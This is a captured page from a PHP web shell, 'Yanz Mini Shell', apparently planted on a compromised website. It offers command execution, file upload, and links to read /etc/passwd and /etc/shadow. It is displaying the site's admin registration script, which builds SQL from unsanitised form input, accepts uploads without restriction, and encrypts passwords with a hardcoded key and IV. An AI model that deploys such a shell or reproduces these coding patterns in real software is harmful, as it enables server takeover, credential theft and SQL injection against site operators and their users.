Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
naacpd
public_html
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php include('connect.php'); ?> <!DOCTYPE html> <html > <head> <meta charset="UTF-8"> <title>Supper Admin Registration</title> <link href='http://fonts.googleapis.com/css?family=Titillium+Web:400,300,600' rel='stylesheet' type='text/css'> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"> <script src="js/datetimepicker_css.js"></script> <link rel="stylesheet" href="style.css"> </head> <body > <div class="form"> <div class="tab-content"> <div id="signup"> <h1>Supper Admin Registration</h1> <form action="setting.php" method="post" enctype="multipart/form-data" > <div class="field-wrap"> <input type="text" required autocomplete="off" name="name" placeholder="Name*" class="required"/> </div> <div class="field-wrap"> <input type="text" required autocomplete="off" name="mobile_no" placeholder="Mobile No*" class="required"/> </div> <div class="field-wrap"> <input type="text" autocomplete="off" placeholder="Email Address" name="email_address" /> </div> <div class="field-wrap"> <input type="file" autocomplete="off" placeholder="Image" name="image" /> </div> <div class="field-wrap"> <input type="text" autocomplete="off" placeholder="Designation" name="designation" /> </div> <div class="field-wrap"> <input type="text" autocomplete="off" placeholder="Joining Date" name="joining_date" id="demo3" onClick="javascript:NewCssCal('demo3')"/> </div> <div class="field-wrap"> <input type="text" required autocomplete="off" placeholder="User Name*" name="user_name" class="required" /> </div> <div class="field-wrap"> <input type="password" required autocomplete="off" placeholder="Password*" name="password" class="required"/> </div> <button type="submit" name="Submit" class="button button-block"/>Get Started</button> </form> <?php if(isset($_POST['Submit'])) { $name=$_POST['name']; $user_name=$_POST['user_name']; $password=$_POST['password']; $mobile_no=$_POST['mobile_no']; $email_address=$_POST['email_address']; $designation=$_POST['designation']; $joining_date=$_POST['joining_date']; date_default_timezone_set("Asia/Dhaka"); $current_date=date('d F,Y'); $text = $password; $cipher = mcrypt_module_open(MCRYPT_RIJNDAEL_256, '', MCRYPT_MODE_CBC, ''); $iv_size = mcrypt_enc_get_iv_size($cipher); $key = '12345678901234561234567890123456'; $iv = '9532654BD781547023AB4FA7723F2FCD'; if (mcrypt_generic_init($cipher, $key, $iv) != -1) { $encrypted = mcrypt_generic($cipher, $text); mcrypt_generic_deinit($cipher); $create_password=bin2hex($encrypted); $value=strlen(bin2hex($encrypted)); } //$key =$pin; //$create_pin=SHA1($pin); // // $post_file= $_FILES['image']['name']; $file_tmp= $_FILES['image']['tmp_name']; move_uploaded_file($file_tmp,"company image/$post_file"); echo $insert_query ="INSERT INTO `login_registration`(`id`, `name`,`user_name`, `password`, `mobile_no`, `email_address`, `user_type`, `date`, `image`,`main_admin`,`designation`,`joining_date`) VALUES ('','$name','$user_name','$create_password','$mobile_no','$email_address','Admin','$current_date','$post_file','$user_name','$designation','$joining_date')"; mysqli_query($db, $insert_query); if($insert_query !=''){ echo "<script>window.open('index.php','_self')</script>"; } } ?> </div> <div id="login"> </div> </div><!-- tab-content --> </div> <!-- /form --> <script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script> <script src="js/index.js"></script> </body> </html>
Free Space : 451326443520 Byte